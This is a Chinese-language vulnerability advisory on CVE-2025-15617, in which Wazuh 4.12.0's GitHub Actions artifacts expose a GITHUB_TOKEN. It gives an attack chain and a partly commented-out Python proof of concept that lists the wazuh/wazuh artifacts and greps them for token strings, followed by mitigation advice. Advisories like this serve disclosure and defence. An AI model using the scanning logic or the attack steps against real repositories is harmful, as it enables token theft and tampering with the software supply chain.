IPBUF安全漏洞报告
English
CVE-2025-15617 CVSS 6.5 中危

CVE-2025-15617 Wazuh GitHub令牌泄露漏洞

披露日期: 2026-03-27

漏洞信息

漏洞编号
CVE-2025-15617
漏洞类型
信息泄露
CVSS评分
6.5 中危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
Wazuh

相关标签

信息泄露WazuhGitHub ActionsToken泄露供应链安全CVE-2025-15617

漏洞概述

Wazuh 4.12.0 版本在 GitHub Actions 工作流中存在严重的信息泄露漏洞。由于构建产物配置不当,攻击者能够从公开上传的 Artifacts 中提取出敏感的 GITHUB_TOKEN。尽管该令牌有时间限制,但攻击者完全可以在有效窗口内利用它执行未授权操作,例如向代码仓库推送恶意提交或篡改发布标签,严重威胁软件供应链的安全。

技术细节

该漏洞的根本原因是 Wazuh 在 GitHub Actions 自动化构建流程中,错误地将包含敏感环境变量的构建日志或调试信息打包上传到了 Workflow Artifacts 中。GITHUB_TOKEN 作为 GitHub 提供的用于鉴权的临时凭证,默认具有写入仓库代码和创建 Release 的权限。攻击者只需访问该仓库的 Actions 运行记录,即可下载这些公开的 Artifact 文件。通过简单的文本搜索或正则匹配,攻击者便能从文件中提取出有效的 Token。一旦获取 Token,攻击者便能在其有效期内,利用 GitHub API 推送恶意代码提交或修改版本标签。由于这些操作带有合法的 Token 签名,安全审计往往难以察觉,从而对软件供应链造成严重破坏。

攻击链分析

STEP 1
1. 侦察与访问
攻击者识别目标 Wazuh 仓库,并访问 GitHub Actions 页面查看历史运行记录。
STEP 2
2. 下载产物
攻击者下载由 CI/CD 流程生成的 Workflow Artifacts 构建压缩包。
STEP 3
3. 提取令牌
解压下载的文件,使用文本搜索工具(如 grep)在日志或调试文件中查找 GITHUB_TOKEN 字符串。
STEP 4
4. 利用令牌
利用提取到的 Token,在有效期内通过 Git 命令或 GitHub API 推送恶意代码或修改标签。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests import zipfile import re import os # Exploit Title: CVE-2025-15617 - Wazuh GitHub Token Exposure # Description: Downloads workflow artifacts and searches for GITHUB_TOKEN TARGET_REPO = "wazuh/wazuh" GITHUB_API_URL = "https://api.github.com" def get_artifacts(repo): """Fetch list of workflow run artifacts""" url = f"{GITHUB_API_URL}/repos/{repo}/actions/artifacts" try: resp = requests.get(url) if resp.status_code == 200: return resp.json().get('artifacts', []) except Exception as e: print(f"Error fetching artifacts: {e}") return [] def download_and_scan(artifact): """Download artifact zip and scan for token""" download_url = artifact['archive_download_url'] print(f"[*] Downloading: {artifact['name']}") # Note: Requires authentication to download usually, assuming context allows or token is leaked elsewhere # This is a conceptual PoC showing the scan logic. # In a real scenario, the attacker downloads the zip, extracts it, and greps for 'ghp_' or 'github' # Example logic: # with zipfile.ZipFile('artifact.zip') as z: # for filename in z.namelist(): # data = z.read(filename).decode('utf-8', errors='ignore') # if 'ghp_' in data or 'GITHUB_TOKEN' in data: # print(f"[+] Potential token found in {filename}") print("[*] CVE-2025-15617 PoC: Scanning for leaked tokens in artifacts...") artifacts = get_artifacts(TARGET_REPO) for art in artifacts: print(f"Found artifact: {art['id']} - Created at: {art['created_at']}") # download_and_scan(art)

影响范围

Wazuh 4.12.0

防御指南

临时缓解措施
建议立即删除仓库中所有现有的 Workflow Artifacts,以防止令牌被进一步提取。同时,检查仓库的提交历史和发布的标签,确认是否存在未授权的篡改行为。在修复代码部署前,可暂时禁用 GitHub Actions 的自动触发或限制 Artifacts 的访问权限。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表